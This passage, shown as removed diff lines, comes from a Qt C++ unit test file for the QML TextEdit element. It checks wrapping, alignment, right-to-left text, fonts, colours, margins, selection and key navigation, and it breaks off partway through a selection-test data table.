document.setDocumentMargin(0); - - int documentWidth = ceil(document.idealWidth()); - - QString componentStr = "import QtQuick 1.0\nTextEdit { text: \"" + richText.at(i) + "\" }"; - QDeclarativeComponent texteditComponent(&engine); - texteditComponent.setData(componentStr.toLatin1(), QUrl()); - QDeclarative1TextEdit *textEditObject = qobject_cast(texteditComponent.create()); - - QVERIFY(textEditObject != 0); - QCOMPARE(textEditObject->width(), qreal(documentWidth)); - } -} - -void tst_qdeclarativetextedit::wrap() -{ - // for specified width and wrap set true - { - QDeclarativeComponent texteditComponent(&engine); - texteditComponent.setData("import QtQuick 1.0\nTextEdit { text: \"\"; wrapMode: TextEdit.WordWrap; width: 300 }", QUrl()); - QDeclarative1TextEdit *textEditObject = qobject_cast(texteditComponent.create()); - - QVERIFY(textEditObject != 0); - QCOMPARE(textEditObject->width(), 300.); - } - - for (int i = 0; i < standard.size(); i++) - { - QString componentStr = "import QtQuick 1.0\nTextEdit { wrapMode: TextEdit.WordWrap; width: 300; text: \"" + standard.at(i) + "\" }"; - QDeclarativeComponent texteditComponent(&engine); - texteditComponent.setData(componentStr.toLatin1(), QUrl()); - QDeclarative1TextEdit *textEditObject = qobject_cast(texteditComponent.create()); - - QVERIFY(textEditObject != 0); - QCOMPARE(textEditObject->width(), 300.); - } - - for (int i = 0; i < richText.size(); i++) - { - QString componentStr = "import QtQuick 1.0\nTextEdit { wrapMode: TextEdit.WordWrap; width: 300; text: \"" + richText.at(i) + "\" }"; - QDeclarativeComponent texteditComponent(&engine); - texteditComponent.setData(componentStr.toLatin1(), QUrl()); - QDeclarative1TextEdit *textEditObject = qobject_cast(texteditComponent.create()); - - QVERIFY(textEditObject != 0); - QCOMPARE(textEditObject->width(), 300.); - } - -} - -void tst_qdeclarativetextedit::textFormat() -{ - { - QDeclarativeComponent textComponent(&engine); - textComponent.setData("import QtQuick 1.0\nTextEdit { text: \"Hello\"; textFormat: Text.RichText }", QUrl::fromLocalFile("")); - QDeclarative1TextEdit *textObject = qobject_cast(textComponent.create()); - - QVERIFY(textObject != 0); - QVERIFY(textObject->textFormat() == QDeclarative1TextEdit::RichText); - } - { - QDeclarativeComponent textComponent(&engine); - textComponent.setData("import QtQuick 1.0\nTextEdit { text: \"Hello\"; textFormat: Text.PlainText }", QUrl::fromLocalFile("")); - QDeclarative1TextEdit *textObject = qobject_cast(textComponent.create()); - - QVERIFY(textObject != 0); - QVERIFY(textObject->textFormat() == QDeclarative1TextEdit::PlainText); - } -} - -void tst_qdeclarativetextedit::alignments_data() -{ - QTest::addColumn("hAlign"); - QTest::addColumn("vAlign"); - QTest::addColumn("expectfile"); - - QTest::newRow("LT") << int(Qt::AlignLeft) << int(Qt::AlignTop) << "alignments_lt"; - QTest::newRow("RT") << int(Qt::AlignRight) << int(Qt::AlignTop) << "alignments_rt"; - QTest::newRow("CT") << int(Qt::AlignHCenter) << int(Qt::AlignTop) << "alignments_ct"; - - QTest::newRow("LB") << int(Qt::AlignLeft) << int(Qt::AlignBottom) << "alignments_lb"; - QTest::newRow("RB") << int(Qt::AlignRight) << int(Qt::AlignBottom) << "alignments_rb"; - QTest::newRow("CB") << int(Qt::AlignHCenter) << int(Qt::AlignBottom) << "alignments_cb"; - - QTest::newRow("LC") << int(Qt::AlignLeft) << int(Qt::AlignVCenter) << "alignments_lc"; - QTest::newRow("RC") << int(Qt::AlignRight) << int(Qt::AlignVCenter) << "alignments_rc"; - QTest::newRow("CC") << int(Qt::AlignHCenter) << int(Qt::AlignVCenter) << "alignments_cc"; -} - - -void tst_qdeclarativetextedit::alignments() -{ - QFETCH(int, hAlign); - QFETCH(int, vAlign); - QFETCH(QString, expectfile); - - QDeclarativeView *canvas = createView(SRCDIR "/data/alignments.qml"); - - canvas->show(); - QApplication::setActiveWindow(canvas); - QTest::qWaitForWindowShown(canvas); - QTRY_COMPARE(QApplication::activeWindow(), static_cast(canvas)); - - QObject *ob = canvas->rootObject(); - QVERIFY(ob != 0); - ob->setProperty("horizontalAlignment",hAlign); - ob->setProperty("verticalAlignment",vAlign); - QTRY_COMPARE(ob->property("running").toBool(),false); - QImage actual(canvas->width(), canvas->height(), QImage::Format_RGB32); - actual.fill(qRgb(255,255,255)); - QPainter p(&actual); - canvas->render(&p); - - expectfile = createExpectedFileIfNotFound(expectfile, actual); - - QImage expect(expectfile); - - QCOMPARE(actual,expect); - - delete canvas; -} - - -//the alignment tests may be trivial o.oa -void tst_qdeclarativetextedit::hAlign() -{ - //test one align each, and then test if two align fails. - - for (int i = 0; i < standard.size(); i++) - { - for (int j=0; j < hAlignmentStrings.size(); j++) - { - QString componentStr = "import QtQuick 1.0\nTextEdit { horizontalAlignment: \"" + hAlignmentStrings.at(j) + "\"; text: \"" + standard.at(i) + "\" }"; - QDeclarativeComponent texteditComponent(&engine); - texteditComponent.setData(componentStr.toLatin1(), QUrl()); - QDeclarative1TextEdit *textEditObject = qobject_cast(texteditComponent.create()); - - QVERIFY(textEditObject != 0); - QCOMPARE((int)textEditObject->hAlign(), (int)hAlignments.at(j)); - } - } - - for (int i = 0; i < richText.size(); i++) - { - for (int j=0; j < hAlignmentStrings.size(); j++) - { - QString componentStr = "import QtQuick 1.0\nTextEdit { horizontalAlignment: \"" + hAlignmentStrings.at(j) + "\"; text: \"" + richText.at(i) + "\" }"; - QDeclarativeComponent texteditComponent(&engine); - texteditComponent.setData(componentStr.toLatin1(), QUrl()); - QDeclarative1TextEdit *textEditObject = qobject_cast(texteditComponent.create()); - - QVERIFY(textEditObject != 0); - QCOMPARE((int)textEditObject->hAlign(), (int)hAlignments.at(j)); - } - } - -} - -void tst_qdeclarativetextedit::hAlign_RightToLeft() -{ - QDeclarativeView *canvas = createView(SRCDIR "/data/horizontalAlignment_RightToLeft.qml"); - QDeclarative1TextEdit *textEdit = canvas->rootObject()->findChild("text"); - QVERIFY(textEdit != 0); - canvas->show(); - - const QString rtlText = textEdit->text(); - - // implicit alignment should follow the reading direction of text - QCOMPARE(textEdit->hAlign(), QDeclarative1TextEdit::AlignRight); - QVERIFY(textEdit->positionToRectangle(0).x() > canvas->width()/2); - - // explicitly left aligned - textEdit->setHAlign(QDeclarative1TextEdit::AlignLeft); - QCOMPARE(textEdit->hAlign(), QDeclarative1TextEdit::AlignLeft); - QVERIFY(textEdit->positionToRectangle(0).x() < canvas->width()/2); - - // explicitly right aligned - textEdit->setHAlign(QDeclarative1TextEdit::AlignRight); - QCOMPARE(textEdit->hAlign(), QDeclarative1TextEdit::AlignRight); - QVERIFY(textEdit->positionToRectangle(0).x() > canvas->width()/2); - - QString textString = textEdit->text(); - textEdit->setText(QString("") + textString + QString("")); - textEdit->resetHAlign(); - - // implicitly aligned rich text should follow the reading direction of RTL text - QCOMPARE(textEdit->hAlign(), QDeclarative1TextEdit::AlignRight); - QCOMPARE(textEdit->effectiveHAlign(), textEdit->hAlign()); - QVERIFY(textEdit->positionToRectangle(0).x() > canvas->width()/2); - - // explicitly left aligned rich text - textEdit->setHAlign(QDeclarative1TextEdit::AlignLeft); - QCOMPARE(textEdit->hAlign(), QDeclarative1TextEdit::AlignLeft); - QCOMPARE(textEdit->effectiveHAlign(), textEdit->hAlign()); - QVERIFY(textEdit->positionToRectangle(0).x() < canvas->width()/2); - - // explicitly right aligned rich text - textEdit->setHAlign(QDeclarative1TextEdit::AlignRight); - QCOMPARE(textEdit->hAlign(), QDeclarative1TextEdit::AlignRight); - QCOMPARE(textEdit->effectiveHAlign(), textEdit->hAlign()); - QVERIFY(textEdit->positionToRectangle(0).x() > canvas->width()/2); - - textEdit->setText(textString); - - // explicitly center aligned - textEdit->setHAlign(QDeclarative1TextEdit::AlignHCenter); - QCOMPARE(textEdit->hAlign(), QDeclarative1TextEdit::AlignHCenter); - QVERIFY(textEdit->positionToRectangle(0).x() > canvas->width()/2); - - // reseted alignment should go back to following the text reading direction - textEdit->resetHAlign(); - QCOMPARE(textEdit->hAlign(), QDeclarative1TextEdit::AlignRight); - QVERIFY(textEdit->positionToRectangle(0).x() > canvas->width()/2); - - // mirror the text item - QDeclarativeItemPrivate::get(textEdit)->setLayoutMirror(true); - - // mirrored implicit alignment should continue to follow the reading direction of the text - QCOMPARE(textEdit->hAlign(), QDeclarative1TextEdit::AlignRight); - QCOMPARE(textEdit->effectiveHAlign(), QDeclarative1TextEdit::AlignRight); - QVERIFY(textEdit->positionToRectangle(0).x() > canvas->width()/2); - - // mirrored explicitly right aligned behaves as left aligned - textEdit->setHAlign(QDeclarative1TextEdit::AlignRight); - QCOMPARE(textEdit->hAlign(), QDeclarative1TextEdit::AlignRight); - QCOMPARE(textEdit->effectiveHAlign(), QDeclarative1TextEdit::AlignLeft); - QVERIFY(textEdit->positionToRectangle(0).x() < canvas->width()/2); - - // mirrored explicitly left aligned behaves as right aligned - textEdit->setHAlign(QDeclarative1TextEdit::AlignLeft); - QCOMPARE(textEdit->hAlign(), QDeclarative1TextEdit::AlignLeft); - QCOMPARE(textEdit->effectiveHAlign(), QDeclarative1TextEdit::AlignRight); - QVERIFY(textEdit->positionToRectangle(0).x() > canvas->width()/2); - - // disable mirroring - QDeclarativeItemPrivate::get(textEdit)->setLayoutMirror(false); - textEdit->resetHAlign(); - - // English text should be implicitly left aligned - textEdit->setText("Hello world!"); - QCOMPARE(textEdit->hAlign(), QDeclarative1TextEdit::AlignLeft); - QVERIFY(textEdit->positionToRectangle(0).x() < canvas->width()/2); - - QApplication::setActiveWindow(canvas); - QTest::qWaitForWindowShown(canvas); - QTRY_COMPARE(QApplication::activeWindow(), static_cast(canvas)); - - textEdit->setText(QString()); - { QInputMethodEvent ev(rtlText, QList()); QApplication::sendEvent(canvas, &ev); } - QCOMPARE(textEdit->hAlign(), QDeclarative1TextEdit::AlignRight); - { QInputMethodEvent ev("Hello world!", QList()); QApplication::sendEvent(canvas, &ev); } - QCOMPARE(textEdit->hAlign(), QDeclarative1TextEdit::AlignLeft); - -#ifndef Q_OS_MAC // QTBUG-18040 - // empty text with implicit alignment follows the system locale-based - // keyboard input direction from QInputPanel::inputDirection - textEdit->setText(""); - QCOMPARE(textEdit->hAlign(), qApp->inputPanel()->inputDirection() == Qt::LeftToRight ? - QDeclarative1TextEdit::AlignLeft : QDeclarative1TextEdit::AlignRight); - if (qApp->inputPanel()->inputDirection() == Qt::LeftToRight) - QVERIFY(textEdit->positionToRectangle(0).x() < canvas->width()/2); - else - QVERIFY(textEdit->positionToRectangle(0).x() > canvas->width()/2); - textEdit->setHAlign(QDeclarative1TextEdit::AlignRight); - QCOMPARE(textEdit->hAlign(), QDeclarative1TextEdit::AlignRight); - QVERIFY(textEdit->positionToRectangle(0).x() > canvas->width()/2); -#endif - - delete canvas; - -#ifndef Q_OS_MAC // QTBUG-18040 - // alignment of TextEdit with no text set to it - QString componentStr = "import QtQuick 1.0\nTextEdit {}"; - QDeclarativeComponent textComponent(&engine); - textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1TextEdit *textObject = qobject_cast(textComponent.create()); - QCOMPARE(textObject->hAlign(), qApp->inputPanel()->inputDirection() == Qt::LeftToRight ? - QDeclarative1TextEdit::AlignLeft : QDeclarative1TextEdit::AlignRight); - delete textObject; -#endif -} - -void tst_qdeclarativetextedit::vAlign() -{ - //test one align each, and then test if two align fails. - - for (int i = 0; i < standard.size(); i++) - { - for (int j=0; j < vAlignmentStrings.size(); j++) - { - QString componentStr = "import QtQuick 1.0\nTextEdit { verticalAlignment: \"" + vAlignmentStrings.at(j) + "\"; text: \"" + standard.at(i) + "\" }"; - QDeclarativeComponent texteditComponent(&engine); - texteditComponent.setData(componentStr.toLatin1(), QUrl()); - QDeclarative1TextEdit *textEditObject = qobject_cast(texteditComponent.create()); - - QVERIFY(textEditObject != 0); - QCOMPARE((int)textEditObject->vAlign(), (int)vAlignments.at(j)); - } - } - - for (int i = 0; i < richText.size(); i++) - { - for (int j=0; j < vAlignmentStrings.size(); j++) - { - QString componentStr = "import QtQuick 1.0\nTextEdit { verticalAlignment: \"" + vAlignmentStrings.at(j) + "\"; text: \"" + richText.at(i) + "\" }"; - QDeclarativeComponent texteditComponent(&engine); - texteditComponent.setData(componentStr.toLatin1(), QUrl()); - QDeclarative1TextEdit *textEditObject = qobject_cast(texteditComponent.create()); - - QVERIFY(textEditObject != 0); - QCOMPARE((int)textEditObject->vAlign(), (int)vAlignments.at(j)); - } - } - -} - -void tst_qdeclarativetextedit::font() -{ - //test size, then bold, then italic, then family - { - QString componentStr = "import QtQuick 1.0\nTextEdit { font.pointSize: 40; text: \"Hello World\" }"; - QDeclarativeComponent texteditComponent(&engine); - texteditComponent.setData(componentStr.toLatin1(), QUrl()); - QDeclarative1TextEdit *textEditObject = qobject_cast(texteditComponent.create()); - - QVERIFY(textEditObject != 0); - QCOMPARE(textEditObject->font().pointSize(), 40); - QCOMPARE(textEditObject->font().bold(), false); - QCOMPARE(textEditObject->font().italic(), false); - } - - { - QString componentStr = "import QtQuick 1.0\nTextEdit { font.bold: true; text: \"Hello World\" }"; - QDeclarativeComponent texteditComponent(&engine); - texteditComponent.setData(componentStr.toLatin1(), QUrl()); - QDeclarative1TextEdit *textEditObject = qobject_cast(texteditComponent.create()); - - QVERIFY(textEditObject != 0); - QCOMPARE(textEditObject->font().bold(), true); - QCOMPARE(textEditObject->font().italic(), false); - } - - { - QString componentStr = "import QtQuick 1.0\nTextEdit { font.italic: true; text: \"Hello World\" }"; - QDeclarativeComponent texteditComponent(&engine); - texteditComponent.setData(componentStr.toLatin1(), QUrl()); - QDeclarative1TextEdit *textEditObject = qobject_cast(texteditComponent.create()); - - QVERIFY(textEditObject != 0); - QCOMPARE(textEditObject->font().italic(), true); - QCOMPARE(textEditObject->font().bold(), false); - } - - { - QString componentStr = "import QtQuick 1.0\nTextEdit { font.family: \"Helvetica\"; text: \"Hello World\" }"; - QDeclarativeComponent texteditComponent(&engine); - texteditComponent.setData(componentStr.toLatin1(), QUrl()); - QDeclarative1TextEdit *textEditObject = qobject_cast(texteditComponent.create()); - - QVERIFY(textEditObject != 0); - QCOMPARE(textEditObject->font().family(), QString("Helvetica")); - QCOMPARE(textEditObject->font().bold(), false); - QCOMPARE(textEditObject->font().italic(), false); - } - - { - QString componentStr = "import QtQuick 1.0\nTextEdit { font.family: \"\"; text: \"Hello World\" }"; - QDeclarativeComponent texteditComponent(&engine); - texteditComponent.setData(componentStr.toLatin1(), QUrl()); - QDeclarative1TextEdit *textEditObject = qobject_cast(texteditComponent.create()); - - QVERIFY(textEditObject != 0); - QCOMPARE(textEditObject->font().family(), QString("")); - } -} - -void tst_qdeclarativetextedit::color() -{ - //test initial color - { - QString componentStr = "import QtQuick 1.0\nTextEdit { text: \"Hello World\" }"; - QDeclarativeComponent texteditComponent(&engine); - texteditComponent.setData(componentStr.toLatin1(), QUrl()); - QDeclarative1TextEdit *textEditObject = qobject_cast(texteditComponent.create()); - - QDeclarative1TextEditPrivate *textEditPrivate = static_cast(QDeclarativeItemPrivate::get(textEditObject)); - - QVERIFY(textEditObject); - QVERIFY(textEditPrivate); - QVERIFY(textEditPrivate->control); - - QPalette pal = textEditPrivate->control->palette(); - QCOMPARE(textEditPrivate->color, QColor("black")); - QCOMPARE(textEditPrivate->color, pal.color(QPalette::Text)); - } - //test normal - for (int i = 0; i < colorStrings.size(); i++) - { - QString componentStr = "import QtQuick 1.0\nTextEdit { color: \"" + colorStrings.at(i) + "\"; text: \"Hello World\" }"; - QDeclarativeComponent texteditComponent(&engine); - texteditComponent.setData(componentStr.toLatin1(), QUrl()); - QDeclarative1TextEdit *textEditObject = qobject_cast(texteditComponent.create()); - //qDebug() << "textEditObject: " << textEditObject->color() << "vs. " << QColor(colorStrings.at(i)); - QVERIFY(textEditObject != 0); - QCOMPARE(textEditObject->color(), QColor(colorStrings.at(i))); - } - - //test selection - for (int i = 0; i < colorStrings.size(); i++) - { - QString componentStr = "import QtQuick 1.0\nTextEdit { selectionColor: \"" + colorStrings.at(i) + "\"; text: \"Hello World\" }"; - QDeclarativeComponent texteditComponent(&engine); - texteditComponent.setData(componentStr.toLatin1(), QUrl()); - QDeclarative1TextEdit *textEditObject = qobject_cast(texteditComponent.create()); - QVERIFY(textEditObject != 0); - QCOMPARE(textEditObject->selectionColor(), QColor(colorStrings.at(i))); - } - - //test selected text - for (int i = 0; i < colorStrings.size(); i++) - { - QString componentStr = "import QtQuick 1.0\nTextEdit { selectedTextColor: \"" + colorStrings.at(i) + "\"; text: \"Hello World\" }"; - QDeclarativeComponent texteditComponent(&engine); - texteditComponent.setData(componentStr.toLatin1(), QUrl()); - QDeclarative1TextEdit *textEditObject = qobject_cast(texteditComponent.create()); - QVERIFY(textEditObject != 0); - QCOMPARE(textEditObject->selectedTextColor(), QColor(colorStrings.at(i))); - } - - { - QString colorStr = "#AA001234"; - QColor testColor("#001234"); - testColor.setAlpha(170); - - QString componentStr = "import QtQuick 1.0\nTextEdit { color: \"" + colorStr + "\"; text: \"Hello World\" }"; - QDeclarativeComponent texteditComponent(&engine); - texteditComponent.setData(componentStr.toLatin1(), QUrl()); - QDeclarative1TextEdit *textEditObject = qobject_cast(texteditComponent.create()); - - QVERIFY(textEditObject != 0); - QCOMPARE(textEditObject->color(), testColor); - } -} - -void tst_qdeclarativetextedit::textMargin() -{ - for(qreal i=0; i<=10; i+=0.3){ - QString componentStr = "import QtQuick 1.0\nTextEdit { textMargin: " + QString::number(i) + "; text: \"Hello World\" }"; - QDeclarativeComponent texteditComponent(&engine); - texteditComponent.setData(componentStr.toLatin1(), QUrl()); - QDeclarative1TextEdit *textEditObject = qobject_cast(texteditComponent.create()); - QVERIFY(textEditObject != 0); - QCOMPARE(textEditObject->textMargin(), i); - } -} - -void tst_qdeclarativetextedit::persistentSelection() -{ - { - QString componentStr = "import QtQuick 1.0\nTextEdit { persistentSelection: true; text: \"Hello World\" }"; - QDeclarativeComponent texteditComponent(&engine); - texteditComponent.setData(componentStr.toLatin1(), QUrl()); - QDeclarative1TextEdit *textEditObject = qobject_cast(texteditComponent.create()); - QVERIFY(textEditObject != 0); - QCOMPARE(textEditObject->persistentSelection(), true); - } - - { - QString componentStr = "import QtQuick 1.0\nTextEdit { persistentSelection: false; text: \"Hello World\" }"; - QDeclarativeComponent texteditComponent(&engine); - texteditComponent.setData(componentStr.toLatin1(), QUrl()); - QDeclarative1TextEdit *textEditObject = qobject_cast(texteditComponent.create()); - QVERIFY(textEditObject != 0); - QCOMPARE(textEditObject->persistentSelection(), false); - } -} - -void tst_qdeclarativetextedit::focusOnPress() -{ - { - QString componentStr = "import QtQuick 1.0\nTextEdit { activeFocusOnPress: true; text: \"Hello World\" }"; - QDeclarativeComponent texteditComponent(&engine); - texteditComponent.setData(componentStr.toLatin1(), QUrl()); - QDeclarative1TextEdit *textEditObject = qobject_cast(texteditComponent.create()); - QVERIFY(textEditObject != 0); - QCOMPARE(textEditObject->focusOnPress(), true); - } - - { - QString componentStr = "import QtQuick 1.0\nTextEdit { activeFocusOnPress: false; text: \"Hello World\" }"; - QDeclarativeComponent texteditComponent(&engine); - texteditComponent.setData(componentStr.toLatin1(), QUrl()); - QDeclarative1TextEdit *textEditObject = qobject_cast(texteditComponent.create()); - QVERIFY(textEditObject != 0); - QCOMPARE(textEditObject->focusOnPress(), false); - } -} - -void tst_qdeclarativetextedit::selection() -{ - QString testStr = standard[0];//TODO: What should happen for multiline/rich text? - QString componentStr = "import QtQuick 1.0\nTextEdit { text: \""+ testStr +"\"; }"; - QDeclarativeComponent texteditComponent(&engine); - texteditComponent.setData(componentStr.toLatin1(), QUrl()); - QDeclarative1TextEdit *textEditObject = qobject_cast(texteditComponent.create()); - QVERIFY(textEditObject != 0); - - - //Test selection follows cursor - for(int i=0; i<= testStr.size(); i++) { - textEditObject->setCursorPosition(i); - QCOMPARE(textEditObject->cursorPosition(), i); - QCOMPARE(textEditObject->selectionStart(), i); - QCOMPARE(textEditObject->selectionEnd(), i); - QVERIFY(textEditObject->selectedText().isNull()); - } - //Test cursor follows selection - for(int i=0; i<= testStr.size(); i++) { - textEditObject->select(i,i); - QCOMPARE(textEditObject->cursorPosition(), i); - QCOMPARE(textEditObject->selectionStart(), i); - QCOMPARE(textEditObject->selectionEnd(), i); - } - - - textEditObject->setCursorPosition(0); - QVERIFY(textEditObject->cursorPosition() == 0); - QVERIFY(textEditObject->selectionStart() == 0); - QVERIFY(textEditObject->selectionEnd() == 0); - QVERIFY(textEditObject->selectedText().isNull()); - - // Verify invalid positions are ignored. - textEditObject->setCursorPosition(-1); - QVERIFY(textEditObject->cursorPosition() == 0); - QVERIFY(textEditObject->selectionStart() == 0); - QVERIFY(textEditObject->selectionEnd() == 0); - QVERIFY(textEditObject->selectedText().isNull()); - - textEditObject->setCursorPosition(textEditObject->text().count()+1); - QVERIFY(textEditObject->cursorPosition() == 0); - QVERIFY(textEditObject->selectionStart() == 0); - QVERIFY(textEditObject->selectionEnd() == 0); - QVERIFY(textEditObject->selectedText().isNull()); - - //Test selection - for(int i=0; i<= testStr.size(); i++) { - textEditObject->select(0,i); - QCOMPARE(testStr.mid(0,i), textEditObject->selectedText()); - QCOMPARE(textEditObject->cursorPosition(), i); - } - for(int i=0; i<= testStr.size(); i++) { - textEditObject->select(i,testStr.size()); - QCOMPARE(testStr.mid(i,testStr.size()-i), textEditObject->selectedText()); - QCOMPARE(textEditObject->cursorPosition(), testStr.size()); - } - - textEditObject->setCursorPosition(0); - QVERIFY(textEditObject->cursorPosition() == 0); - QVERIFY(textEditObject->selectionStart() == 0); - QVERIFY(textEditObject->selectionEnd() == 0); - QVERIFY(textEditObject->selectedText().isNull()); - - //Test Error Ignoring behaviour - textEditObject->setCursorPosition(0); - QVERIFY(textEditObject->selectedText().isNull()); - textEditObject->select(-10,0); - QVERIFY(textEditObject->selectedText().isNull()); - textEditObject->select(100,101); - QVERIFY(textEditObject->selectedText().isNull()); - textEditObject->select(0,-10); - QVERIFY(textEditObject->selectedText().isNull()); - textEditObject->select(0,100); - QVERIFY(textEditObject->selectedText().isNull()); - textEditObject->select(0,10); - QVERIFY(textEditObject->selectedText().size() == 10); - textEditObject->select(-10,0); - QVERIFY(textEditObject->selectedText().size() == 10); - textEditObject->select(100,101); - QVERIFY(textEditObject->selectedText().size() == 10); - textEditObject->select(0,-10); - QVERIFY(textEditObject->selectedText().size() == 10); - textEditObject->select(0,100); - QVERIFY(textEditObject->selectedText().size() == 10); - - textEditObject->deselect(); - QVERIFY(textEditObject->selectedText().isNull()); - textEditObject->select(0,10); - QVERIFY(textEditObject->selectedText().size() == 10); - textEditObject->deselect(); - QVERIFY(textEditObject->selectedText().isNull()); -} - -void tst_qdeclarativetextedit::isRightToLeft_data() -{ - QTest::addColumn("text"); - QTest::addColumn("emptyString"); - QTest::addColumn("firstCharacter"); - QTest::addColumn("lastCharacter"); - QTest::addColumn("middleCharacter"); - QTest::addColumn("startString"); - QTest::addColumn("midString"); - QTest::addColumn("endString"); - - const quint16 arabic_str[] = { 0x0638, 0x0643, 0x00646, 0x0647, 0x0633, 0x0638, 0x0643, 0x00646, 0x0647, 0x0633, 0x0647}; - QTest::newRow("Empty") << "" << false << false << false << false << false << false << false; - QTest::newRow("Neutral") << "23244242" << false << false << false << false << false << false << false; - QTest::newRow("LTR") << "Hello world" << false << false << false << false << false << false << false; - QTest::newRow("RTL") << QString::fromUtf16(arabic_str, 11) << false << true << true << true << true << true << true; - QTest::newRow("Bidi RTL + LTR + RTL") << QString::fromUtf16(arabic_str, 11) + QString("Hello world") + QString::fromUtf16(arabic_str, 11) << false << true << true << false << true << true << true; - QTest::newRow("Bidi LTR + RTL + LTR") << QString("Hello world") + QString::fromUtf16(arabic_str, 11) + QString("Hello world") << false << false << false << true << false << false << false; -} - -void tst_qdeclarativetextedit::isRightToLeft() -{ - QFETCH(QString, text); - QFETCH(bool, emptyString); - QFETCH(bool, firstCharacter); - QFETCH(bool, lastCharacter); - QFETCH(bool, middleCharacter); - QFETCH(bool, startString); - QFETCH(bool, midString); - QFETCH(bool, endString); - - QDeclarative1TextEdit textEdit; - textEdit.setText(text); - - // first test that the right string is delivered to the QString::isRightToLeft() - QCOMPARE(textEdit.isRightToLeft(0,0), text.mid(0,0).isRightToLeft()); - QCOMPARE(textEdit.isRightToLeft(0,1), text.mid(0,1).isRightToLeft()); - QCOMPARE(textEdit.isRightToLeft(text.count()-2, text.count()-1), text.mid(text.count()-2, text.count()-1).isRightToLeft()); - QCOMPARE(textEdit.isRightToLeft(text.count()/2, text.count()/2 + 1), text.mid(text.count()/2, text.count()/2 + 1).isRightToLeft()); - QCOMPARE(textEdit.isRightToLeft(0,text.count()/4), text.mid(0,text.count()/4).isRightToLeft()); - QCOMPARE(textEdit.isRightToLeft(text.count()/4,3*text.count()/4), text.mid(text.count()/4,3*text.count()/4).isRightToLeft()); - if (text.isEmpty()) - QTest::ignoreMessage(QtWarningMsg, ": QML TextEdit: isRightToLeft(start, end) called with the end property being smaller than the start."); - QCOMPARE(textEdit.isRightToLeft(3*text.count()/4,text.count()-1), text.mid(3*text.count()/4,text.count()-1).isRightToLeft()); - - // then test that the feature actually works - QCOMPARE(textEdit.isRightToLeft(0,0), emptyString); - QCOMPARE(textEdit.isRightToLeft(0,1), firstCharacter); - QCOMPARE(textEdit.isRightToLeft(text.count()-2, text.count()-1), lastCharacter); - QCOMPARE(textEdit.isRightToLeft(text.count()/2, text.count()/2 + 1), middleCharacter); - QCOMPARE(textEdit.isRightToLeft(0,text.count()/4), startString); - QCOMPARE(textEdit.isRightToLeft(text.count()/4,3*text.count()/4), midString); - if (text.isEmpty()) - QTest::ignoreMessage(QtWarningMsg, ": QML TextEdit: isRightToLeft(start, end) called with the end property being smaller than the start."); - QCOMPARE(textEdit.isRightToLeft(3*text.count()/4,text.count()-1), endString); -} - -void tst_qdeclarativetextedit::keySelection() -{ - QDeclarativeView *canvas = createView(SRCDIR "/data/navigation.qml"); - canvas->show(); - QApplication::setActiveWindow(canvas); - QTest::qWaitForWindowShown(canvas); - QTRY_COMPARE(QApplication::activeWindow(), static_cast(canvas)); - canvas->setFocus(); - - QVERIFY(canvas->rootObject() != 0); - - QDeclarative1TextEdit *input = qobject_cast(qvariant_cast(canvas->rootObject()->property("myInput"))); - - QVERIFY(input != 0); - QTRY_VERIFY(input->hasActiveFocus() == true); - - QSignalSpy spy(input, SIGNAL(selectionChanged())); - - simulateKey(canvas, Qt::Key_Right, Qt::ShiftModifier); - QVERIFY(input->hasActiveFocus() == true); - QCOMPARE(input->selectedText(), QString("a")); - QCOMPARE(spy.count(), 1); - simulateKey(canvas, Qt::Key_Right); - QVERIFY(input->hasActiveFocus() == true); - QCOMPARE(input->selectedText(), QString()); - QCOMPARE(spy.count(), 2); - simulateKey(canvas, Qt::Key_Right); - QVERIFY(input->hasActiveFocus() == false); - QCOMPARE(input->selectedText(), QString()); - QCOMPARE(spy.count(), 2); - - simulateKey(canvas, Qt::Key_Left); - QVERIFY(input->hasActiveFocus() == true); - QCOMPARE(spy.count(), 2); - simulateKey(canvas, Qt::Key_Left, Qt::ShiftModifier); - QVERIFY(input->hasActiveFocus() == true); - QCOMPARE(input->selectedText(), QString("a")); - QCOMPARE(spy.count(), 3); - simulateKey(canvas, Qt::Key_Left); - QVERIFY(input->hasActiveFocus() == true); - QCOMPARE(input->selectedText(), QString()); - QCOMPARE(spy.count(), 4); - simulateKey(canvas, Qt::Key_Left); - QVERIFY(input->hasActiveFocus() == false); - QCOMPARE(input->selectedText(), QString()); - QCOMPARE(spy.count(), 4); - - delete canvas; -} - -void tst_qdeclarativetextedit::moveCursorSelection_data() -{ - QTest::addColumn("testStr"); - QTest::addColumn("cursorPosition"); - QTest::addColumn("movePosition"); - QTest::addColumn("mode"); - QTest::addColumn("selectionStart"); - QTest::addColumn("selectionEnd"); - QTest::addColumn("reversible"); - - QTest::newRow("(t)he|characters") - << standard[0] << 0 << 1 << QDeclarative1TextEdit::SelectCharacters << 0 << 1 << true; - QTest::newRow("do(g)|characters") - << standard[0] << 43 << 44 << QDeclarative1TextEdit::SelectCharacters << 43 << 44 << true; - QTest::newRow("jum(p)ed|characters") - << standard[0] << 23 << 24 << QDeclarative1TextEdit::SelectCharacters << 23 << 24 << true; - QTest::newRow("jumped( )over|characters") - << standard[0] << 26 << 27 << QDeclarative1TextEdit::SelectCharacters << 26 << 27 << true; - QTest::newRow("(the )|characters") - << standard[0] << 0 << 4 << QDeclarative1TextEdit::SelectCharacters << 0 << 4 << true; - QTest::newRow("( dog)|characters") - << standard[0] << 40 << 44 << QDeclarative1TextEdit::SelectCharacters << 40 << 44 << true; - QTest::newRow("( jumped )|characters") - << standard[0] << 19 << 27 << QDeclarative1TextEdit::SelectCharacters << 19 << 27 << true; - QTest::newRow("th(e qu)ick|characters") - << standard[0] << 2 << 6 << QDeclarative1TextEdit::SelectCharacters << 2 << 6 << true; - QTest::newRow("la(zy d)og|characters") - << standard[0] << 38 << 42 << QDeclarative1TextEdit::SelectCharacters << 38 << 42 << true; - QTest::newRow("jum(ped ov)er|characters") - << standard[0] << 23 << 29 << QDeclarative1TextEdit::SelectCharacters << 23 << 29 << true; - QTest::newRow("()the|characters") - << standard[0] << 0 << 0 << QDeclarative1TextEdit::SelectCharacters << 0 << 0 << true; - QTest::newRow("dog()|characters") - << standard[0] << 44 << 44 << QDeclarative1TextEdit::SelectCharacters << 44 << 44 << true; - QTest::newRow("jum()ped|characters") - << standard[0] << 23 << 23 << QDeclarative1TextEdit::SelectCharacters << 23 << 23 << true; - - QTest::newRow("<(t)he>|words") - << standard[0] << 0 << 1 << QDeclarative1TextEdit::SelectWords << 0 << 3 << true; - QTest::newRow("|words") - << standard[0] << 43 << 44 << 